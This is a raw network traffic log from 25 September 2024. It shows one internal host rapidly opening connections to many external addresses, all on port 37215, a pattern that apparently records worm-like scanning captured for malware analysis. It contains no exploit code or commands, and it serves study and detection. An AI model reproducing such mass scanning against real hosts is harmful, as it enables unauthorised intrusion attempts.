Sep 25, 2024 14:14:12.427258968 CEST	37215	42656	41.153.113.249	192.168.2.14
Sep 25, 2024 14:14:12.427803040 CEST	49694	37215	192.168.2.14	156.178.49.196
Sep 25, 2024 14:14:12.427871943 CEST	37215	42912	41.153.113.249	192.168.2.14
Sep 25, 2024 14:14:12.427911043 CEST	42912	37215	192.168.2.14	41.153.113.249
Sep 25, 2024 14:14:12.428543091 CEST	37215	39006	41.0.9.95	192.168.2.14
Sep 25, 2024 14:14:12.428548098 CEST	45956	37215	192.168.2.14	156.236.134.70
Sep 25, 2024 14:14:12.428548098 CEST	45956	37215	192.168.2.14	156.236.134.70
Sep 25, 2024 14:14:12.429018021 CEST	37215	39262	41.0.9.95	192.168.2.14
Sep 25, 2024 14:14:12.429095984 CEST	39262	37215	192.168.2.14	41.0.9.95
Sep 25, 2024 14:14:12.429371119 CEST	46212	37215	192.168.2.14	156.236.134.70
Sep 25, 2024 14:14:12.429765940 CEST	37215	42852	156.53.157.21	192.168.2.14
Sep 25, 2024 14:14:12.430140972 CEST	50892	37215	192.168.2.14	156.85.177.51
Sep 25, 2024 14:14:12.430140972 CEST	50892	37215	192.168.2.14	156.85.177.51
Sep 25, 2024 14:14:12.430272102 CEST	37215	43108	156.53.157.21	192.168.2.14
Sep 25, 2024 14:14:12.430320024 CEST	43108	37215	192.168.2.14	156.53.157.21
Sep 25, 2024 14:14:12.430664062 CEST	51148	37215	192.168.2.14	156.85.177.51
Sep 25, 2024 14:14:12.431561947 CEST	38080	37215	192.168.2.14	41.201.175.19
Sep 25, 2024 14:14:12.431561947 CEST	38080	37215	192.168.2.14	41.201.175.19
Sep 25, 2024 14:14:12.431575060 CEST	37215	48292	41.172.110.5	192.168.2.14
Sep 25, 2024 14:14:12.431581974 CEST	37215	48548	41.172.110.5	192.168.2.14
Sep 25, 2024 14:14:12.431615114 CEST	48548	37215	192.168.2.14	41.172.110.5
Sep 25, 2024 14:14:12.432519913 CEST	38336	37215	192.168.2.14	41.201.175.19
Sep 25, 2024 14:14:12.433331966 CEST	52932	37215	192.168.2.14	197.135.92.242
Sep 25, 2024 14:14:12.433331966 CEST	52932	37215	192.168.2.14	197.135.92.242
Sep 25, 2024 14:14:12.433357954 CEST	37215	49006	41.164.245.164	192.168.2.14
Sep 25, 2024 14:14:12.433409929 CEST	37215	49262	41.164.245.164	192.168.2.14
Sep 25, 2024 14:14:12.433489084 CEST	49262	37215	192.168.2.14	41.164.245.164
Sep 25, 2024 14:14:12.433933020 CEST	53188	37215	192.168.2.14	197.135.92.242
Sep 25, 2024 14:14:12.433934927 CEST	37215	49438	156.178.49.196	192.168.2.14
Sep 25, 2024 14:14:12.434896946 CEST	55828	37215	192.168.2.14	197.253.49.237
Sep 25, 2024 14:14:12.434916973 CEST	55828	37215	192.168.2.14	197.253.49.237
Sep 25, 2024 14:14:12.435017109 CEST	37215	49694	156.178.49.196	192.168.2.14
Sep 25, 2024 14:14:12.435113907 CEST	49694	37215	192.168.2.14	156.178.49.196
Sep 25, 2024 14:14:12.435641050 CEST	56084	37215	192.168.2.14	197.253.49.237
Sep 25, 2024 14:14:12.435743093 CEST	37215	45956	156.236.134.70	192.168.2.14
Sep 25, 2024 14:14:12.436424017 CEST	54318	37215	192.168.2.14	41.139.18.55
Sep 25, 2024 14:14:12.436424017 CEST	54318	37215	192.168.2.14	41.139.18.55
Sep 25, 2024 14:14:12.436906099 CEST	54574	37215	192.168.2.14	41.139.18.55
Sep 25, 2024 14:14:12.437695026 CEST	45244	37215	192.168.2.14	197.151.246.17
Sep 25, 2024 14:14:12.437695026 CEST	45244	37215	192.168.2.14	197.151.246.17
Sep 25, 2024 14:14:12.438277006 CEST	45500	37215	192.168.2.14	197.151.246.17
Sep 25, 2024 14:14:12.438762903 CEST	55680	37215	192.168.2.14	41.118.189.247
Sep 25, 2024 14:14:12.438762903 CEST	55680	37215	192.168.2.14	41.118.189.247
Sep 25, 2024 14:14:12.439140081 CEST	55936	37215	192.168.2.14	41.118.189.247
Sep 25, 2024 14:14:12.439580917 CEST	47026	37215	192.168.2.14	41.203.2.228
Sep 25, 2024 14:14:12.439608097 CEST	47026	37215	192.168.2.14	41.203.2.228
Sep 25, 2024 14:14:12.439791918 CEST	37215	46212	156.236.134.70	192.168.2.14
Sep 25, 2024 14:14:12.439838886 CEST	46212	37215	192.168.2.14	156.236.134.70
Sep 25, 2024 14:14:12.439887047 CEST	37215	50892	156.85.177.51	192.168.2.14
Sep 25, 2024 14:14:12.440080881 CEST	37215	51148	156.85.177.51	192.168.2.14
Sep 25, 2024 14:14:12.440131903 CEST	47282	37215	192.168.2.14	41.203.2.228
Sep 25, 2024 14:14:12.440146923 CEST	51148	37215	192.168.2.14	156.85.177.51
Sep 25, 2024 14:14:12.440237999 CEST	37215	36572	156.7.180.15	192.168.2.14
Sep 25, 2024 14:14:12.440243006 CEST	37215	37404	156.105.111.2	192.168.2.14
Sep 25, 2024 14:14:12.440542936 CEST	57766	37215	192.168.2.14	41.218.100.111
Sep 25, 2024 14:14:12.440542936 CEST	57766	37215	192.168.2.14	41.218.100.111
Sep 25, 2024 14:14:12.440589905 CEST	37215	38080	41.201.175.19	192.168.2.14
Sep 25, 2024 14:14:12.440596104 CEST	37215	38336	41.201.175.19	192.168.2.14
Sep 25, 2024 14:14:12.440633059 CEST	38336	37215	192.168.2.14	41.201.175.19
Sep 25, 2024 14:14:12.440747023 CEST	37215	52932	197.135.92.242	192.168.2.14
Sep 25, 2024 14:14:12.440752029 CEST	37215	53188	197.135.92.242	192.168.2.14
Sep 25, 2024 14:14:12.440829039 CEST	53188	37215	192.168.2.14	197.135.92.242
Sep 25, 2024 14:14:12.440829039 CEST	58022	37215	192.168.2.14	41.218.100.111
Sep 25, 2024 14:14:12.441121101 CEST	55490	37215	192.168.2.14	156.249.130.124
Sep 25, 2024 14:14:12.441140890 CEST	55490	37215	192.168.2.14	156.249.130.124
Sep 25, 2024 14:14:12.441387892 CEST	55746	37215	192.168.2.14	156.249.130.124
Sep 25, 2024 14:14:12.441428900 CEST	37215	55828	197.253.49.237	192.168.2.14
Sep 25, 2024 14:14:12.441706896 CEST	35492	37215	192.168.2.14	41.82.232.246
Sep 25, 2024 14:14:12.441706896 CEST	35492	37215	192.168.2.14	41.82.232.246
Sep 25, 2024 14:14:12.441935062 CEST	35748	37215	192.168.2.14	41.82.232.246
Sep 25, 2024 14:14:12.442214012 CEST	37215	56084	197.253.49.237	192.168.2.14
Sep 25, 2024 14:14:12.442254066 CEST	59384	37215	192.168.2.14	156.22.110.107
Sep 25, 2024 14:14:12.442254066 CEST	56084	37215	192.168.2.14	197.253.49.237
Sep 25, 2024 14:14:12.442254066 CEST	59384	37215	192.168.2.14	156.22.110.107
Sep 25, 2024 14:14:12.442553997 CEST	59640	37215	192.168.2.14	156.22.110.107
Sep 25, 2024 14:14:12.442822933 CEST	54076	37215	192.168.2.14	197.154.137.148
Sep 25, 2024 14:14:12.442854881 CEST	54076	37215	192.168.2.14	197.154.137.148
Sep 25, 2024 14:14:12.442913055 CEST	37215	54318	41.139.18.55	192.168.2.14
Sep 25, 2024 14:14:12.443092108 CEST	54332	37215	192.168.2.14	197.154.137.148
Sep 25, 2024 14:14:12.443375111 CEST	60822	37215	192.168.2.14	197.48.130.100
Sep 25, 2024 14:14:12.443375111 CEST	60822	37215	192.168.2.14	197.48.130.100
Sep 25, 2024 14:14:12.443418980 CEST	37215	54574	41.139.18.55	192.168.2.14
Sep 25, 2024 14:14:12.443460941 CEST	54574	37215	192.168.2.14	41.139.18.55
Sep 25, 2024 14:14:12.443567038 CEST	37215	37710	197.231.213.174	192.168.2.14
Sep 25, 2024 14:14:12.443572044 CEST	37215	40650	156.32.42.163	192.168.2.14
Sep 25, 2024 14:14:12.443577051 CEST	37215	57964	197.195.215.228	192.168.2.14
Sep 25, 2024 14:14:12.443581104 CEST	37215	60278	197.105.105.62	192.168.2.14
Sep 25, 2024 14:14:12.443666935 CEST	32846	37215	192.168.2.14	197.48.130.100
Sep 25, 2024 14:14:12.443973064 CEST	41084	37215	192.168.2.14	41.250.164.45
Sep 25, 2024 14:14:12.443973064 CEST	41084	37215	192.168.2.14	41.250.164.45
Sep 25, 2024 14:14:12.444205046 CEST	37215	45244	197.151.246.17	192.168.2.14
Sep 25, 2024 14:14:12.444259882 CEST	41340	37215	192.168.2.14	41.250.164.45
Sep 25, 2024 14:14:12.444556952 CEST	54492	37215	192.168.2.14	197.209.97.208
Sep 25, 2024 14:14:12.444592953 CEST	54492	37215	192.168.2.14	197.209.97.208
Sep 25, 2024 14:14:12.444905043 CEST	54748	37215	192.168.2.14	197.209.97.208
Sep 25, 2024 14:14:12.445198059 CEST	51782	37215	192.168.2.14	197.239.155.59
Sep 25, 2024 14:14:12.445198059 CEST	51782	37215	192.168.2.14	197.239.155.59
Sep 25, 2024 14:14:12.445244074 CEST	37215	45500	197.151.246.17	192.168.2.14
Sep 25, 2024 14:14:12.445291996 CEST	45500	37215	192.168.2.14	197.151.246.17
Sep 25, 2024 14:14:12.445431948 CEST	37215	55680	41.118.189.247	192.168.2.14
Sep 25, 2024 14:14:12.445503950 CEST	52038	37215	192.168.2.14	197.239.155.59
Sep 25, 2024 14:14:12.445673943 CEST	37215	55936	41.118.189.247	192.168.2.14
Sep 25, 2024 14:14:12.445761919 CEST	55936	37215	192.168.2.14	41.118.189.247
Sep 25, 2024 14:14:12.445846081 CEST	45874	37215	192.168.2.14	197.34.128.199
Sep 25, 2024 14:14:12.445846081 CEST	45874	37215	192.168.2.14	197.34.128.199
Sep 25, 2024 14:14:12.446186066 CEST	37215	47026	41.203.2.228	192.168.2.14
Sep 25, 2024 14:14:12.446239948 CEST	46130	37215	192.168.2.14	197.34.128.199
Sep 25, 2024 14:14:12.446630955 CEST	55024	37215	192.168.2.14	41.78.144.231
Sep 25, 2024 14:14:12.446630955 CEST	55024	37215	192.168.2.14	41.78.144.231
Sep 25, 2024 14:14:12.446669102 CEST	37215	47282	41.203.2.228	192.168.2.14
Sep 25, 2024 14:14:12.446722031 CEST	47282	37215	192.168.2.14	41.203.2.228
Sep 25, 2024 14:14:12.446837902 CEST	55280	37215	192.168.2.14	41.78.144.231
Sep 25, 2024 14:14:12.447144985 CEST	43584	37215	192.168.2.14	197.209.0.69
Sep 25, 2024 14:14:12.447163105 CEST	43584	37215	192.168.2.14	197.209.0.69
Sep 25, 2024 14:14:12.447199106 CEST	37215	57766	41.218.100.111	192.168.2.14
Sep 25, 2024 14:14:12.447407007 CEST	43840	37215	192.168.2.14	197.209.0.69
Sep 25, 2024 14:14:12.447521925 CEST	37215	58022	41.218.100.111	192.168.2.14
Sep 25, 2024 14:14:12.447603941 CEST	58022	37215	192.168.2.14	41.218.100.111
Sep 25, 2024 14:14:12.447738886 CEST	42482	37215	192.168.2.14	41.91.175.25
Sep 25, 2024 14:14:12.447738886 CEST	42482	37215	192.168.2.14	41.91.175.25
Sep 25, 2024 14:14:12.447762966 CEST	37215	55490	156.249.130.124	192.168.2.14
Sep 25, 2024 14:14:12.447977066 CEST	42738	37215	192.168.2.14	41.91.175.25
Sep 25, 2024 14:14:12.448278904 CEST	37215	55746	156.249.130.124	192.168.2.14
Sep 25, 2024 14:14:12.448319912 CEST	55746	37215	192.168.2.14	156.249.130.124
Sep 25, 2024 14:14:12.448447943 CEST	37215	35492	41.82.232.246	192.168.2.14
Sep 25, 2024 14:14:12.448453903 CEST	41702	37215	192.168.2.14	197.120.188.58
Sep 25, 2024 14:14:12.448455095 CEST	41702	37215	192.168.2.14	197.120.188.58
Sep 25, 2024 14:14:12.448604107 CEST	37215	35748	41.82.232.246	192.168.2.14
Sep 25, 2024 14:14:12.448646069 CEST	35748	37215	192.168.2.14	41.82.232.246
Sep 25, 2024 14:14:12.448816061 CEST	41958	37215	192.168.2.14	197.120.188.58
Sep 25, 2024 14:14:12.448960066 CEST	37215	59384	156.22.110.107	192.168.2.14
Sep 25, 2024 14:14:12.449124098 CEST	37215	59640	156.22.110.107	192.168.2.14
Sep 25, 2024 14:14:12.449197054 CEST	59640	37215	192.168.2.14	156.22.110.107
Sep 25, 2024 14:14:12.449228048 CEST	55696	37215	192.168.2.14	197.252.100.138
Sep 25, 2024 14:14:12.449228048 CEST	55696	37215	192.168.2.14	197.252.100.138
Sep 25, 2024 14:14:12.449460030 CEST	37215	54076	197.154.137.148	192.168.2.14
Sep 25, 2024 14:14:12.449624062 CEST	37215	54332	197.154.137.148	192.168.2.14
Sep 25, 2024 14:14:12.449664116 CEST	55952	37215	192.168.2.14	197.252.100.138
Sep 25, 2024 14:14:12.449672937 CEST	54332	37215	192.168.2.14	197.154.137.148
Sep 25, 2024 14:14:12.449981928 CEST	37215	60822	197.48.130.100	192.168.2.14
Sep 25, 2024 14:14:12.450182915 CEST	41636	37215	192.168.2.14	156.73.31.180
Sep 25, 2024 14:14:12.450182915 CEST	41636	37215	192.168.2.14	156.73.31.180
Sep 25, 2024 14:14:12.450268984 CEST	37215	32846	197.48.130.100	192.168.2.14
Sep 25, 2024 14:14:12.450326920 CEST	32846	37215	192.168.2.14	197.48.130.100
Sep 25, 2024 14:14:12.450546980 CEST	41892	37215	192.168.2.14	156.73.31.180
Sep 25, 2024 14:14:12.450587988 CEST	37215	41084	41.250.164.45	192.168.2.14
Sep 25, 2024 14:14:12.450917006 CEST	37215	41340	41.250.164.45	192.168.2.14
Sep 25, 2024 14:14:12.450948954 CEST	41340	37215	192.168.2.14	41.250.164.45
Sep 25, 2024 14:14:12.451009035 CEST	54664	37215	192.168.2.14	197.92.57.124
Sep 25, 2024 14:14:12.451025009 CEST	54664	37215	192.168.2.14	197.92.57.124
Sep 25, 2024 14:14:12.451101065 CEST	37215	54492	197.209.97.208	192.168.2.14
Sep 25, 2024 14:14:12.451410055 CEST	37215	54748	197.209.97.208	192.168.2.14
Sep 25, 2024 14:14:12.451451063 CEST	54920	37215	192.168.2.14	197.92.57.124
Sep 25, 2024 14:14:12.451451063 CEST	54748	37215	192.168.2.14	197.209.97.208
Sep 25, 2024 14:14:12.451555014 CEST	37215	50604	41.144.112.76	192.168.2.14
Sep 25, 2024 14:14:12.451560020 CEST	37215	54444	156.190.198.120	192.168.2.14
Sep 25, 2024 14:14:12.451570034 CEST	37215	38742	156.91.174.178	192.168.2.14
Sep 25, 2024 14:14:12.451574087 CEST	37215	38496	41.98.227.98	192.168.2.14
Sep 25, 2024 14:14:12.451577902 CEST	37215	34452	41.218.248.203	192.168.2.14
Sep 25, 2024 14:14:12.451672077 CEST	37215	52044	197.215.137.238	192.168.2.14
Sep 25, 2024 14:14:12.451675892 CEST	37215	35064	41.50.90.84	192.168.2.14
Sep 25, 2024 14:14:12.451684952 CEST	37215	33646	156.55.88.200	192.168.2.14
Sep 25, 2024 14:14:12.451689005 CEST	37215	39770	197.144.251.169	192.168.2.14
Sep 25, 2024 14:14:12.451697111 CEST	37215	41360	41.240.99.197	192.168.2.14
Sep 25, 2024 14:14:12.451700926 CEST	37215	52200	197.128.136.140	192.168.2.14
Sep 25, 2024 14:14:12.451704979 CEST	37215	37118	41.155.56.243	192.168.2.14
Sep 25, 2024 14:14:12.451841116 CEST	37215	51782	197.239.155.59	192.168.2.14
Sep 25, 2024 14:14:12.451911926 CEST	59926	37215	192.168.2.14	197.230.188.227
Sep 25, 2024 14:14:12.451911926 CEST	59926	37215	192.168.2.14	197.230.188.227
Sep 25, 2024 14:14:12.452038050 CEST	37215	52038	197.239.155.59	192.168.2.14
Sep 25, 2024 14:14:12.452132940 CEST	52038	37215	192.168.2.14	197.239.155.59
Sep 25, 2024 14:14:12.452231884 CEST	60182	37215	192.168.2.14	197.230.188.227
Sep 25, 2024 14:14:12.452461958 CEST	37215	45874	197.34.128.199	192.168.2.14
Sep 25, 2024 14:14:12.452735901 CEST	50356	37215	192.168.2.14	197.97.143.250
Sep 25, 2024 14:14:12.452735901 CEST	50356	37215	192.168.2.14	197.97.143.250
Sep 25, 2024 14:14:12.452950001 CEST	37215	46130	197.34.128.199	192.168.2.14
Sep 25, 2024 14:14:12.452994108 CEST	46130	37215	192.168.2.14	197.34.128.199
Sep 25, 2024 14:14:12.453120947 CEST	50612	37215	192.168.2.14	197.97.143.250
Sep 25, 2024 14:14:12.453299046 CEST	37215	55024	41.78.144.231	192.168.2.14
Sep 25, 2024 14:14:12.453396082 CEST	37215	55280	41.78.144.231	192.168.2.14
Sep 25, 2024 14:14:12.453440905 CEST	55280	37215	192.168.2.14	41.78.144.231
Sep 25, 2024 14:14:12.453624010 CEST	45936	37215	192.168.2.14	197.250.119.4
Sep 25, 2024 14:14:12.453624010 CEST	45936	37215	192.168.2.14	197.250.119.4
Sep 25, 2024 14:14:12.453838110 CEST	37215	43584	197.209.0.69	192.168.2.14
Sep 25, 2024 14:14:12.453953028 CEST	46192	37215	192.168.2.14	197.250.119.4
Sep 25, 2024 14:14:12.454004049 CEST	37215	43840	197.209.0.69	192.168.2.14
Sep 25, 2024 14:14:12.454046965 CEST	43840	37215	192.168.2.14	197.209.0.69
Sep 25, 2024 14:14:12.454435110 CEST	50610	37215	192.168.2.14	41.195.147.108
Sep 25, 2024 14:14:12.454436064 CEST	50610	37215	192.168.2.14	41.195.147.108
Sep 25, 2024 14:14:12.454521894 CEST	37215	42482	41.91.175.25	192.168.2.14
Sep 25, 2024 14:14:12.454688072 CEST	37215	42738	41.91.175.25	192.168.2.14
Sep 25, 2024 14:14:12.454725981 CEST	42738	37215	192.168.2.14	41.91.175.25
Sep 25, 2024 14:14:12.454843998 CEST	50866	37215	192.168.2.14	41.195.147.108
Sep 25, 2024 14:14:12.455190897 CEST	37215	41702	197.120.188.58	192.168.2.14
Sep 25, 2024 14:14:12.455415964 CEST	33312	37215	192.168.2.14	41.120.46.143
Sep 25, 2024 14:14:12.455415964 CEST	33312	37215	192.168.2.14	41.120.46.143
Sep 25, 2024 14:14:12.455596924 CEST	37215	41958	197.120.188.58	192.168.2.14
Sep 25, 2024 14:14:12.455640078 CEST	41958	37215	192.168.2.14	197.120.188.58
Sep 25, 2024 14:14:12.455751896 CEST	33568	37215	192.168.2.14	41.120.46.143
Sep 25, 2024 14:14:12.455965042 CEST	37215	55696	197.252.100.138	192.168.2.14
Sep 25, 2024 14:14:12.456429958 CEST	43618	37215	192.168.2.14	156.9.136.189
Sep 25, 2024 14:14:12.456429958 CEST	43618	37215	192.168.2.14	156.9.136.189
Sep 25, 2024 14:14:12.456666946 CEST	37215	55952	197.252.100.138	192.168.2.14
Sep 25, 2024 14:14:12.456701040 CEST	55952	37215	192.168.2.14	197.252.100.138
Sep 25, 2024 14:14:12.456767082 CEST	43874	37215	192.168.2.14	156.9.136.189
Sep 25, 2024 14:14:12.456836939 CEST	37215	41636	156.73.31.180	192.168.2.14
Sep 25, 2024 14:14:12.457340002 CEST	37215	41892	156.73.31.180	192.168.2.14
Sep 25, 2024 14:14:12.457360029 CEST	51674	37215	192.168.2.14	156.2.243.208
Sep 25, 2024 14:14:12.457360983 CEST	51674	37215	192.168.2.14	156.2.243.208
Sep 25, 2024 14:14:12.457392931 CEST	41892	37215	192.168.2.14	156.73.31.180
Sep 25, 2024 14:14:12.457679987 CEST	37215	54664	197.92.57.124	192.168.2.14
Sep 25, 2024 14:14:12.457726955 CEST	51930	37215	192.168.2.14	156.2.243.208
Sep 25, 2024 14:14:12.458199978 CEST	49866	37215	192.168.2.14	156.126.243.85
Sep 25, 2024 14:14:12.458199978 CEST	49866	37215	192.168.2.14	156.126.243.85
Sep 25, 2024 14:14:12.458224058 CEST	37215	54920	197.92.57.124	192.168.2.14
Sep 25, 2024 14:14:12.458271027 CEST	54920	37215	192.168.2.14	197.92.57.124
Sep 25, 2024 14:14:12.458611012 CEST	50122	37215	192.168.2.14	156.126.243.85
Sep 25, 2024 14:14:12.458715916 CEST	37215	59926	197.230.188.227	192.168.2.14
Sep 25, 2024 14:14:12.459029913 CEST	37215	60182	197.230.188.227	192.168.2.14
Sep 25, 2024 14:14:12.459069967 CEST	53468	37215	192.168.2.14	197.75.201.244
Sep 25, 2024 14:14:12.459069967 CEST	60182	37215	192.168.2.14	197.230.188.227
Sep 25, 2024 14:14:12.459069967 CEST	53468	37215	192.168.2.14	197.75.201.244
Sep 25, 2024 14:14:12.459341049 CEST	37215	50356	197.97.143.250	192.168.2.14
Sep 25, 2024 14:14:12.459424019 CEST	53724	37215	192.168.2.14	197.75.201.244
Sep 25, 2024 14:14:12.459629059 CEST	37215	58872	156.123.186.109	192.168.2.14
Sep 25, 2024 14:14:12.459633112 CEST	37215	54406	41.17.5.69	192.168.2.14
Sep 25, 2024 14:14:12.459641933 CEST	37215	43298	41.225.68.243	192.168.2.14
Sep 25, 2024 14:14:12.459645987 CEST	37215	53274	197.69.151.113	192.168.2.14
Sep 25, 2024 14:14:12.459655046 CEST	37215	41924	197.202.40.81	192.168.2.14
Sep 25, 2024 14:14:12.459657907 CEST	37215	54784	41.193.139.67	192.168.2.14
Sep 25, 2024 14:14:12.459666967 CEST	37215	48018	197.237.148.180	192.168.2.14
Sep 25, 2024 14:14:12.459671021 CEST	37215	47486	41.222.122.162	192.168.2.14
Sep 25, 2024 14:14:12.459678888 CEST	37215	40574	197.27.71.218	192.168.2.14
Sep 25, 2024 14:14:12.459686041 CEST	37215	50612	197.97.143.250	192.168.2.14
Sep 25, 2024 14:14:12.459719896 CEST	50612	37215	192.168.2.14	197.97.143.250
Sep 25, 2024 14:14:12.460026979 CEST	56426	37215	192.168.2.14	156.69.218.3
Sep 25, 2024 14:14:12.460026979 CEST	56426	37215	192.168.2.14	156.69.218.3
Sep 25, 2024 14:14:12.460323095 CEST	56682	37215	192.168.2.14	156.69.218.3
Sep 25, 2024 14:14:12.460376024 CEST	37215	45936	197.250.119.4	192.168.2.14
Sep 25, 2024 14:14:12.460551023 CEST	37215	46192	197.250.119.4	192.168.2.14
Sep 25, 2024 14:14:12.460587025 CEST	46192	37215	192.168.2.14	197.250.119.4
Sep 25, 2024 14:14:12.460630894 CEST	60842	37215	192.168.2.14	156.231.58.213
Sep 25, 2024 14:14:12.460630894 CEST	60842	37215	192.168.2.14	156.231.58.213
Sep 25, 2024 14:14:12.460894108 CEST	32866	37215	192.168.2.14	156.231.58.213
Sep 25, 2024 14:14:12.461194038 CEST	41776	37215	192.168.2.14	156.132.215.112
Sep 25, 2024 14:14:12.461199999 CEST	37215	50610	41.195.147.108	192.168.2.14
Sep 25, 2024 14:14:12.461210966 CEST	41776	37215	192.168.2.14	156.132.215.112
Sep 25, 2024 14:14:12.461504936 CEST	42032	37215	192.168.2.14	156.132.215.112
Sep 25, 2024 14:14:12.461611032 CEST	37215	50866	41.195.147.108	192.168.2.14
Sep 25, 2024 14:14:12.461663961 CEST	50866	37215	192.168.2.14	41.195.147.108
Sep 25, 2024 14:14:12.461771965 CEST	37074	37215	192.168.2.14	41.37.226.104
Sep 25, 2024 14:14:12.461771965 CEST	37074	37215	192.168.2.14	41.37.226.104
Sep 25, 2024 14:14:12.462101936 CEST	37215	33312	41.120.46.143	192.168.2.14
Sep 25, 2024 14:14:12.462109089 CEST	37330	37215	192.168.2.14	41.37.226.104
Sep 25, 2024 14:14:12.462372065 CEST	37215	33568	41.120.46.143	192.168.2.14
Sep 25, 2024 14:14:12.462373972 CEST	37776	37215	192.168.2.14	197.125.0.253
Sep 25, 2024 14:14:12.462373972 CEST	37776	37215	192.168.2.14	197.125.0.253
Sep 25, 2024 14:14:12.462527990 CEST	33568	37215	192.168.2.14	41.120.46.143
Sep 25, 2024 14:14:12.462692976 CEST	38032	37215	192.168.2.14	197.125.0.253
Sep 25, 2024 14:14:12.462970972 CEST	53284	37215	192.168.2.14	197.121.164.75
Sep 25, 2024 14:14:12.462992907 CEST	53284	37215	192.168.2.14	197.121.164.75
Sep 25, 2024 14:14:12.463231087 CEST	53540	37215	192.168.2.14	197.121.164.75
Sep 25, 2024 14:14:12.463260889 CEST	37215	43618	156.9.136.189	192.168.2.14
Sep 25, 2024 14:14:12.463429928 CEST	37215	43874	156.9.136.189	192.168.2.14
Sep 25, 2024 14:14:12.463469028 CEST	43874	37215	192.168.2.14	156.9.136.189
Sep 25, 2024 14:14:12.463558912 CEST	56458	37215	192.168.2.14	197.232.26.242
Sep 25, 2024 14:14:12.463558912 CEST	56458	37215	192.168.2.14	197.232.26.242
Sep 25, 2024 14:14:12.463589907 CEST	37215	54506	197.19.140.61	192.168.2.14
Sep 25, 2024 14:14:12.463594913 CEST	37215	47674	197.160.218.177	192.168.2.14
Sep 25, 2024 14:14:12.463610888 CEST	37215	51548	156.77.18.48	192.168.2.14
Sep 25, 2024 14:14:12.463746071 CEST	37215	60004	156.167.26.116	192.168.2.14
Sep 25, 2024 14:14:12.463751078 CEST	37215	38754	197.233.180.85	192.168.2.14
Sep 25, 2024 14:14:12.463798046 CEST	56714	37215	192.168.2.14	197.232.26.242
Sep 25, 2024 14:14:12.464143991 CEST	52956	37215	192.168.2.14	156.90.134.66
Sep 25, 2024 14:14:12.464143991 CEST	52956	37215	192.168.2.14	156.90.134.66
Sep 25, 2024 14:14:12.464258909 CEST	37215	51674	156.2.243.208	192.168.2.14
Sep 25, 2024 14:14:12.464411974 CEST	53212	37215	192.168.2.14	156.90.134.66
Sep 25, 2024 14:14:12.464415073 CEST	37215	51930	156.2.243.208	192.168.2.14
Sep 25, 2024 14:14:12.464447021 CEST	51930	37215	192.168.2.14	156.2.243.208
Sep 25, 2024 14:14:12.464687109 CEST	44234	37215	192.168.2.14	156.37.0.164
Sep 25, 2024 14:14:12.464699030 CEST	44234	37215	192.168.2.14	156.37.0.164
Sep 25, 2024 14:14:12.464874029 CEST	37215	49866	156.126.243.85	192.168.2.14
Sep 25, 2024 14:14:12.465013981 CEST	44490	37215	192.168.2.14	156.37.0.164
Sep 25, 2024 14:14:12.465200901 CEST	37215	50122	156.126.243.85	192.168.2.14
Sep 25, 2024 14:14:12.465255022 CEST	50122	37215	192.168.2.14	156.126.243.85
Sep 25, 2024 14:14:12.465280056 CEST	54992	37215	192.168.2.14	156.180.154.78
Sep 25, 2024 14:14:12.465280056 CEST	54992	37215	192.168.2.14	156.180.154.78
Sep 25, 2024 14:14:12.465653896 CEST	55248	37215	192.168.2.14	156.180.154.78
Sep 25, 2024 14:14:12.465785980 CEST	37215	53468	197.75.201.244	192.168.2.14
Sep 25, 2024 14:14:12.465832949 CEST	46186	37215	192.168.2.14	156.155.163.180
Sep 25, 2024 14:14:12.465832949 CEST	46186	37215	192.168.2.14	156.155.163.180
Sep 25, 2024 14:14:12.466176987 CEST	46442	37215	192.168.2.14	156.155.163.180
Sep 25, 2024 14:14:12.466284037 CEST	37215	53724	197.75.201.244	192.168.2.14
Sep 25, 2024 14:14:12.466317892 CEST	53724	37215	192.168.2.14	197.75.201.244
Sep 25, 2024 14:14:12.466424942 CEST	54460	37215	192.168.2.14	156.14.29.34
Sep 25, 2024 14:14:12.466424942 CEST	54460	37215	192.168.2.14	156.14.29.34
Sep 25, 2024 14:14:12.466658115 CEST	54716	37215	192.168.2.14	156.14.29.34
Sep 25, 2024 14:14:12.466829062 CEST	37215	56426	156.69.218.3	192.168.2.14
Sep 25, 2024 14:14:12.467000008 CEST	37215	56682	156.69.218.3	192.168.2.14
Sep 25, 2024 14:14:12.467060089 CEST	56682	37215	192.168.2.14	156.69.218.3
Sep 25, 2024 14:14:12.467096090 CEST	55334	37215	192.168.2.14	197.212.255.42
Sep 25, 2024 14:14:12.467096090 CEST	55334	37215	192.168.2.14	197.212.255.42
Sep 25, 2024 14:14:12.467293978 CEST	37215	60842	156.231.58.213	192.168.2.14
Sep 25, 2024 14:14:12.467410088 CEST	55590	37215	192.168.2.14	197.212.255.42
Sep 25, 2024 14:14:12.467441082 CEST	37215	32866	156.231.58.213	192.168.2.14
Sep 25, 2024 14:14:12.467597008 CEST	32866	37215	192.168.2.14	156.231.58.213
Sep 25, 2024 14:14:12.467768908 CEST	37215	41776	156.132.215.112	192.168.2.14
Sep 25, 2024 14:14:12.468136072 CEST	47130	37215	192.168.2.14	41.254.134.205
Sep 25, 2024 14:14:12.468136072 CEST	47130	37215	192.168.2.14	41.254.134.205
Sep 25, 2024 14:14:12.468256950 CEST	37215	42032	156.132.215.112	192.168.2.14
Sep 25, 2024 14:14:12.468262911 CEST	37215	37074	41.37.226.104	192.168.2.14
Sep 25, 2024 14:14:12.468291998 CEST	47386	37215	192.168.2.14	41.254.134.205
Sep 25, 2024 14:14:12.468327999 CEST	42032	37215	192.168.2.14	156.132.215.112
Sep 25, 2024 14:14:12.468631983 CEST	37215	37330	41.37.226.104	192.168.2.14
Sep 25, 2024 14:14:12.468673944 CEST	37330	37215	192.168.2.14	41.37.226.104
Sep 25, 2024 14:14:12.468800068 CEST	42730	37215	192.168.2.14	156.118.4.206
Sep 25, 2024 14:14:12.468800068 CEST	42730	37215	192.168.2.14	156.118.4.206
Sep 25, 2024 14:14:12.468954086 CEST	37215	37776	197.125.0.253	192.168.2.14
Sep 25, 2024 14:14:12.469094992 CEST	37215	38032	197.125.0.253	192.168.2.14
Sep 25, 2024 14:14:12.469177961 CEST	38032	37215	192.168.2.14	197.125.0.253
Sep 25, 2024 14:14:12.469305038 CEST	42986	37215	192.168.2.14	156.118.4.206
Sep 25, 2024 14:14:12.469521046 CEST	37215	53284	197.121.164.75	192.168.2.14
Sep 25, 2024 14:14:12.469676018 CEST	37215	53540	197.121.164.75	192.168.2.14
Sep 25, 2024 14:14:12.469690084 CEST	40132	37215	192.168.2.14	197.105.233.84
Sep 25, 2024 14:14:12.469690084 CEST	40132	37215	192.168.2.14	197.105.233.84
Sep 25, 2024 14:14:12.469706059 CEST	53540	37215	192.168.2.14	197.121.164.75
